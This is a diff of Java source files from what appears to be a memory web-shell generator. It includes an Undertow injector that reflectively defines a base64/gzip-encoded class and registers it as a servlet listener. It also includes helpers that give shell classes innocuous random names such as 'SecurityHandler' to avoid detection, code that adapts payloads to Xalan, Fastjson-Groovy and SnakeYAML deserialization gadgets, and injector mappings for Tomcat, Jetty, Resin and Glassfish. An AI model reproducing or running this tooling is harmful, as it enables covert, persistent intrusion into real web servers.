||||||
|
}
|
||||||
|
|
||||||
|
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||||
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||||
|
for (int i = 0; i < threads.length; i++) {
|
||||||
|
try {
|
||||||
|
Object requestContext = invokeMethod(threads[i].getContextClassLoader().loadClass("io.undertow.servlet.handlers.ServletRequestContext"), "current");
|
||||||
|
Object servletContext = invokeMethod(requestContext, "getCurrentServletContext");
|
||||||
|
if (servletContext != null) contexts.add(servletContext);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return contexts;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private Object getListener(Object context) {
|
||||||
|
|
||||||
|
Object listener = null;
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
if (classLoader == null) {
|
||||||
|
classLoader = context.getClass().getClassLoader();
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
listener = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
try {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
listener = clazz.newInstance();
|
||||||
|
} catch (Throwable tt) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return listener;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 添加有效 io.undertow.servlet.core.ApplicationListeners.addListener
|
||||||
|
// 添加无效 io.undertow.servlet.api.DeploymentInfo.addListener
|
||||||
|
public void injectListener(Object context, Object listener) {
|
||||||
|
try {
|
||||||
|
if (isInjected(context, listener.getClass().getName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Class listenerInfoClass = Class.forName("io.undertow.servlet.api.ListenerInfo");
|
||||||
|
Object listenerInfo = listenerInfoClass.getConstructor(Class.class).newInstance(listener.getClass());
|
||||||
|
Object deploymentImpl = getFV(context, "deployment");
|
||||||
|
Object applicationListeners = getFV(deploymentImpl, "applicationListeners");
|
||||||
|
Class managedListenerClass = Class.forName("io.undertow.servlet.core.ManagedListener");
|
||||||
|
Object managedListener = managedListenerClass.getConstructor(listenerInfoClass, boolean.class).newInstance(listenerInfo, true);
|
||||||
|
invokeMethod(applicationListeners, "addListener", new Class[]{managedListenerClass}, new Object[]{managedListener});
|
||||||
|
} catch (Throwable e) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean isInjected(Object context, String className) throws Exception {
|
||||||
|
List allListeners = (List) getFV(getFV(getFV(context, "deployment"), "applicationListeners"), "allListeners");
|
||||||
|
for (int i = 0; i < allListeners.size(); i++) {
|
||||||
|
Class listener = (Class) getFV(getFV(allListeners.get(i), "listenerInfo"), "listenerClass");
|
||||||
|
if (listener.getName().contains(className)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||||
|
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||||
|
byte[] buffer = new byte[256];
|
||||||
|
int n;
|
||||||
|
while ((n = ungzip.read(buffer)) >= 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,74 @@
|
|||||||
|
package jmg.core.util;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Random;
|
||||||
|
|
||||||
|
|
||||||
|
public class ClassNameUtil {
|
||||||
|
static String[] injectorClassNames = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
|
||||||
|
static String[] prefixNames = new String[]{"AbstractMatcher", "WebSocketUpgrade", "Session", "WhiteBlackList", "Log4jConfig", "SecurityHandler", "ContextLoader", "ServletContext", "ServletContextAttribute", "ServletRequest"};
|
||||||
|
|
||||||
|
|
||||||
|
public static String getRandomName(String[]... arrays) {
|
||||||
|
List<String> classNames = new ArrayList<>();
|
||||||
|
for (String[] array : arrays) {
|
||||||
|
for (String className : array) {
|
||||||
|
classNames.add(className);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Random random = new Random();
|
||||||
|
int index = random.nextInt(classNames.size());
|
||||||
|
return classNames.get(index);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static String generateRandomString() {
|
||||||
|
Random random = new Random();
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
int length = random.nextInt(2) + 1; // 生成1-3之间的随机数
|
||||||
|
for (int i = 0; i < length; i++) {
|
||||||
|
char c = (char) (random.nextInt(26) + 'a');
|
||||||
|
sb.append(c);
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getRandomInjectorClassName(){
|
||||||
|
|
||||||
|
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getRandomExtenderClassName(){
|
||||||
|
|
||||||
|
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getRandomLoaderClassName(){
|
||||||
|
|
||||||
|
return PackageNameUtil.getRandomPackageName() + "." + generateRandomString() + "." + ClassNameUtil.getRandomName(injectorClassNames);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static String getClassPrefixName(){
|
||||||
|
return ClassNameUtil.getRandomName(prefixNames);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getRandomShellClassName(String shellType) {
|
||||||
|
|
||||||
|
if (shellType.contains(Constants.SHELL_LISTENER)){
|
||||||
|
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Listener";
|
||||||
|
}
|
||||||
|
if (shellType.contains(Constants.SHELL_INTERCEPTOR)){
|
||||||
|
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Interceptor";
|
||||||
|
}
|
||||||
|
if (shellType.contains(Constants.SHELL_WF_HANDLERMETHOD)){
|
||||||
|
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Handler";
|
||||||
|
}
|
||||||
|
return PackageNameUtil.getRandomPackageName() + "." + ClassNameUtil.getClassPrefixName() + CommonUtil.generateRandomString() + "Filter";
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,312 @@
|
|||||||
|
package jmg.core.util;
|
||||||
|
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.core.jMGCodeApi;
|
||||||
|
import me.gv7.woodpecker.tools.common.FileUtil;
|
||||||
|
|
||||||
|
import java.io.*;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.security.MessageDigest;
|
||||||
|
import java.security.NoSuchAlgorithmException;
|
||||||
|
import java.security.SecureRandom;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.Random;
|
||||||
|
import java.util.regex.Pattern;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
import java.util.zip.GZIPOutputStream;
|
||||||
|
|
||||||
|
public class CommonUtil {
|
||||||
|
|
||||||
|
// 合并两个数组
|
||||||
|
public static <T> T[] concatenateArrays(T[] array1, T[] array2) {
|
||||||
|
int length1 = array1.length;
|
||||||
|
int length2 = array2.length;
|
||||||
|
|
||||||
|
T[] result = Arrays.copyOf(array1, length1 + length2);
|
||||||
|
|
||||||
|
System.arraycopy(array2, 0, result, length1, length2);
|
||||||
|
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void setFV(Object var0, String var1, Object val) throws Exception {
|
||||||
|
getF(var0, var1).set(var0, val);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object getFV(Object obj, String fieldName) throws Exception {
|
||||||
|
Field field = getF(obj, fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field.get(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||||
|
Class<?> clazz = obj.getClass();
|
||||||
|
while (clazz != null) {
|
||||||
|
try {
|
||||||
|
Field field = clazz.getDeclaredField(fieldName);
|
||||||
|
field.setAccessible(true);
|
||||||
|
return field;
|
||||||
|
} catch (NoSuchFieldException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new NoSuchFieldException(fieldName);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||||
|
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||||
|
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
|
||||||
|
Class tempClass = clazz;
|
||||||
|
while (method == null && tempClass != null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
// Get all declared methods of the class
|
||||||
|
Method[] methods = tempClass.getDeclaredMethods();
|
||||||
|
for (int i = 0; i < methods.length; i++) {
|
||||||
|
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||||
|
method = methods[i];
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
tempClass = tempClass.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException(methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
if (obj instanceof Class) {
|
||||||
|
try {
|
||||||
|
return method.invoke(null, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
return method.invoke(obj, param);
|
||||||
|
} catch (IllegalAccessException e) {
|
||||||
|
throw new RuntimeException(e.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static String generateRandomString() {
|
||||||
|
Random random = new Random();
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
int length = random.nextInt(5) + 2;
|
||||||
|
for (int i = 0; i < length; i++) {
|
||||||
|
char c = (char) (random.nextInt(26) + 'a');
|
||||||
|
if (i == 0) {
|
||||||
|
c = Character.toUpperCase(c);
|
||||||
|
}
|
||||||
|
sb.append(c);
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] base64Decode(String var0) throws Exception {
|
||||||
|
byte[] var2 = null;
|
||||||
|
|
||||||
|
Class var1;
|
||||||
|
try {
|
||||||
|
var1 = Class.forName("java.util.Base64");
|
||||||
|
Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
|
||||||
|
var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, var0));
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
var1 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object var4 = var1.newInstance();
|
||||||
|
var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, var0));
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return var2;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static String encodeBase64(byte[] bs) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
Class base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object Encoder = base64.newInstance();
|
||||||
|
value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
|
||||||
|
} catch (Exception var5) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static String genRandomLengthString(int minLength) {
|
||||||
|
Random random = new Random();
|
||||||
|
StringBuilder sb = new StringBuilder();
|
||||||
|
int length = random.nextInt(6) + minLength;
|
||||||
|
for (int i = 0; i < length; i++) {
|
||||||
|
char c = (char) (random.nextInt(26) + 'a');
|
||||||
|
if (i == 0) {
|
||||||
|
c = Character.toUpperCase(c);
|
||||||
|
}
|
||||||
|
sb.append(c);
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static String getRandomString(int length) {
|
||||||
|
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||||
|
SecureRandom random = new SecureRandom();
|
||||||
|
StringBuffer sb = new StringBuffer();
|
||||||
|
for (int i = 0; i < length; i++) {
|
||||||
|
int number = random.nextInt(52);
|
||||||
|
sb.append(str.charAt(number));
|
||||||
|
}
|
||||||
|
return sb.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getMd5(String text) throws NoSuchAlgorithmException {
|
||||||
|
MessageDigest md5 = MessageDigest.getInstance("MD5");
|
||||||
|
byte[] bytes = md5.digest(text.getBytes(StandardCharsets.UTF_8));
|
||||||
|
StringBuilder builder = new StringBuilder();
|
||||||
|
for (byte aByte : bytes) {
|
||||||
|
builder.append(Integer.toHexString((0x000000FF & aByte) | 0xFFFFFF00).substring(6));
|
||||||
|
}
|
||||||
|
return builder.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipCompress(byte[] data) throws IOException {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
|
||||||
|
gzip.write(data);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||||
|
ByteArrayInputStream inputStream = new ByteArrayInputStream(compressedData);
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
|
||||||
|
try (GZIPInputStream gzipInputStream = new GZIPInputStream(inputStream)) {
|
||||||
|
byte[] buffer = new byte[1024];
|
||||||
|
int bytesRead;
|
||||||
|
while ((bytesRead = gzipInputStream.read(buffer)) != -1) {
|
||||||
|
outputStream.write(buffer, 0, bytesRead);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return outputStream.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static byte[] getFileBytes(String file) throws Exception {
|
||||||
|
File f = new File(file);
|
||||||
|
int length = (int) f.length();
|
||||||
|
byte[] data = new byte[length];
|
||||||
|
(new FileInputStream(f)).read(data);
|
||||||
|
return data;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static String getSimpleName(String className) {
|
||||||
|
int lastDotIndex = className.lastIndexOf(".");
|
||||||
|
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
|
||||||
|
return className.substring(lastDotIndex + 1);
|
||||||
|
}
|
||||||
|
return className;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static String getFileOutputPath(String format_type, String class_simple_name, String output_path) {
|
||||||
|
String file_output_path = null;
|
||||||
|
|
||||||
|
String fileSeparator = File.separator;
|
||||||
|
File file = new File(output_path);
|
||||||
|
if (output_path.endsWith(".class") || output_path.endsWith(".jar") || output_path.endsWith(".jsp")) {
|
||||||
|
output_path = file.getParent();
|
||||||
|
|
||||||
|
}
|
||||||
|
String[] parts = output_path.split(Pattern.quote(fileSeparator));
|
||||||
|
boolean isFilePath = false; // 添加标记用于判断是否为文件路径
|
||||||
|
for (String part : parts) {
|
||||||
|
if (part.contains(".")) {
|
||||||
|
isFilePath = true;
|
||||||
|
break;
|
||||||
|
} else {
|
||||||
|
if (!output_path.endsWith(fileSeparator)) {
|
||||||
|
output_path = output_path + fileSeparator;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (isFilePath) { // 如果是文件路径直接返回
|
||||||
|
File parentDir = file.getParentFile();
|
||||||
|
if (!parentDir.exists()) {
|
||||||
|
parentDir.mkdirs();
|
||||||
|
}
|
||||||
|
return file.getAbsolutePath();
|
||||||
|
}
|
||||||
|
|
||||||
|
File dir = new File(output_path);
|
||||||
|
if (!dir.exists() || !dir.isDirectory()) {
|
||||||
|
dir.mkdirs();
|
||||||
|
}
|
||||||
|
|
||||||
|
// 判断输出格式
|
||||||
|
switch (format_type) {
|
||||||
|
case Constants.FORMAT_CLASS:
|
||||||
|
file_output_path = output_path + class_simple_name + ".class";
|
||||||
|
break;
|
||||||
|
case Constants.FORMAT_JAR:
|
||||||
|
case Constants.FORMAT_JAR_AGENT:
|
||||||
|
file_output_path = output_path + class_simple_name + ".jar";
|
||||||
|
break;
|
||||||
|
case Constants.FORMAT_JSP:
|
||||||
|
file_output_path = output_path + class_simple_name + ".jsp";
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
return file_output_path;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public static void transformToFile(AbstractConfig config) throws Throwable {
|
||||||
|
config.setSavePath(getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
|
||||||
|
jMGCodeApi codeApi = new jMGCodeApi(config);
|
||||||
|
FileUtil.writeFile(config.getSavePath(), codeApi.generate());
|
||||||
|
}
|
||||||
|
|
||||||
|
// base64/bcel/js/biginteger
|
||||||
|
public static String transformTotext(AbstractConfig config) throws Throwable {
|
||||||
|
jMGCodeApi codeApi = new jMGCodeApi(config);
|
||||||
|
return new String(codeApi.generate());
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getThrowableStackTrace(Throwable t) {
|
||||||
|
StringWriter stringWriter = new StringWriter();
|
||||||
|
PrintWriter printWriter = new PrintWriter(stringWriter);
|
||||||
|
t.printStackTrace(printWriter);
|
||||||
|
return stringWriter.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,67 @@
|
|||||||
|
package jmg.core.util;
|
||||||
|
|
||||||
|
import javassist.ClassPool;
|
||||||
|
import javassist.CtClass;
|
||||||
|
import jmg.core.config.AbstractConfig;
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* 专项漏洞的处理
|
||||||
|
*/
|
||||||
|
public class CtClassUtil {
|
||||||
|
private AbstractConfig config;
|
||||||
|
private ClassPool pool;
|
||||||
|
private CtClass ctClass;
|
||||||
|
|
||||||
|
public CtClassUtil(AbstractConfig config, ClassPool pool, CtClass ctClass) {
|
||||||
|
this.config = config;
|
||||||
|
this.pool = pool;
|
||||||
|
this.ctClass = ctClass;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public byte[] modifyForExploitation() throws Exception {
|
||||||
|
if (config.getGadgetType() != null) {
|
||||||
|
if (config.getGadgetType().equals(Constants.GADGET_JDK_TRANSLET)) {
|
||||||
|
applyJDKAbstractTranslet();
|
||||||
|
}
|
||||||
|
if (config.getGadgetType().equals(Constants.GADGET_XALAN_TRANSLET)) {
|
||||||
|
applyXALANAbstractTranslet();
|
||||||
|
}
|
||||||
|
|
||||||
|
if (config.getGadgetType().equals(Constants.GADGET_FJ_GROOVY)) {
|
||||||
|
applyFastjsonGroovyASTTransformation();
|
||||||
|
}
|
||||||
|
if (config.getGadgetType().equals(Constants.GADGET_SNAKEYAML)) {
|
||||||
|
applySnakeYamlScriptEngineFactory();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return ctClass.toBytecode();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public void applyJDKAbstractTranslet() throws Exception {
|
||||||
|
JavassistUtil.extendClass(ctClass, "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
|
||||||
|
}
|
||||||
|
|
||||||
|
public void applyXALANAbstractTranslet() {
|
||||||
|
try {
|
||||||
|
JavassistUtil.extendClass(ctClass, "org.apache.xalan.xsltc.runtime.AbstractTranslet");
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Fastjson Groovy loadJar 的利用需要实现 ASTTransformation 接口
|
||||||
|
public void applyFastjsonGroovyASTTransformation() throws Exception {
|
||||||
|
config.setImplementsASTTransformationType(true);
|
||||||
|
JavassistUtil.implementInterface(ctClass,"org.codehaus.groovy.transform.ASTTransformation");
|
||||||
|
JavassistUtil.addAnnotation(ctClass, "org.codehaus.groovy.transform.GroovyASTTransformation");
|
||||||
|
}
|
||||||
|
|
||||||
|
// snakeyaml loadJar 的利用需要实现 ScriptEngineFactory 接口
|
||||||
|
public void applySnakeYamlScriptEngineFactory() throws Exception {
|
||||||
|
config.setImplementsScriptEngineFactory(true);
|
||||||
|
JavassistUtil.addAnnotation(ctClass, "javax.script.ScriptEngineFactory");
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,108 @@
|
|||||||
|
package jmg.core.util;
|
||||||
|
|
||||||
|
|
||||||
|
import jmg.core.config.Constants;
|
||||||
|
import jmg.core.template.*;
|
||||||
|
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
public class InjectorUtil {
|
||||||
|
|
||||||
|
private static final Map<String, String> INJECTOR_CLASSNAME_MAP = new HashMap();
|
||||||
|
private static final Map<String, Map<String, String>> classMap = new HashMap();
|
||||||
|
|
||||||
|
|
||||||
|
public InjectorUtil() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getInjectorName(String serverType, String shellType) {
|
||||||
|
Map<String, String> injectorMap = (Map) classMap.get(serverType);
|
||||||
|
return injectorMap == null ? "" : injectorMap.getOrDefault(shellType, "");
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getInjectorClassName(String injectorName) throws Exception {
|
||||||
|
if (INJECTOR_CLASSNAME_MAP.get(injectorName) == null) {
|
||||||
|
throw new Exception("Invalid injector type '" + injectorName + "'");
|
||||||
|
} else {
|
||||||
|
return INJECTOR_CLASSNAME_MAP.getOrDefault(injectorName, "");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static {
|
||||||
|
|
||||||
|
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("GlassfishListenerInjector", GlassFishListenerInjectorTpl.class.getName());
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("GlassfishFilterInjector", GlassFishFilterInjectorTpl.class.getName());
|
||||||
|
Map<String, String> glassfishMap = new HashMap();
|
||||||
|
glassfishMap.put(Constants.SHELL_LISTENER, "GlassfishListenerInjector");
|
||||||
|
glassfishMap.put(Constants.SHELL_FILTER, "GlassfishFilterInjector");
|
||||||
|
classMap.put(Constants.SERVER_GLASSFISH, glassfishMap);
|
||||||
|
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("JettyListenerInjector", JettyListenerInjectorTpl.class.getName());
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("JettyFilterInjector", JettyFilterInjectorTpl.class.getName());
|
||||||
|
Map<String, String> jettyMap = new HashMap();
|
||||||
|
jettyMap.put(Constants.SHELL_LISTENER, "JettyListenerInjector");
|
||||||
|
jettyMap.put(Constants.SHELL_FILTER, "JettyFilterInjector");
|
||||||
|
classMap.put(Constants.SERVER_JETTY, jettyMap);
|
||||||
|
|
||||||
|
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("ResinListenerInjector", ResinListenerInjectorTpl.class.getName());
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("ResinFilterInjector", ResinFilterInjectorTpl.class.getName());
|
||||||
|
Map<String, String> resinMap = new HashMap();
|
||||||
|
resinMap.put(Constants.SHELL_LISTENER, "ResinListenerInjector");
|
||||||
|
resinMap.put(Constants.SHELL_FILTER, "ResinFilterInjector");
|
||||||
|
classMap.put(Constants.SERVER_RESIN, resinMap);
|
||||||
|
|
||||||
|
INJECTOR_CLASSNAME_MAP.put("TomcatListenerInjector", TomcatListenerInjectorTpl.class.getName());
|
||||||
|
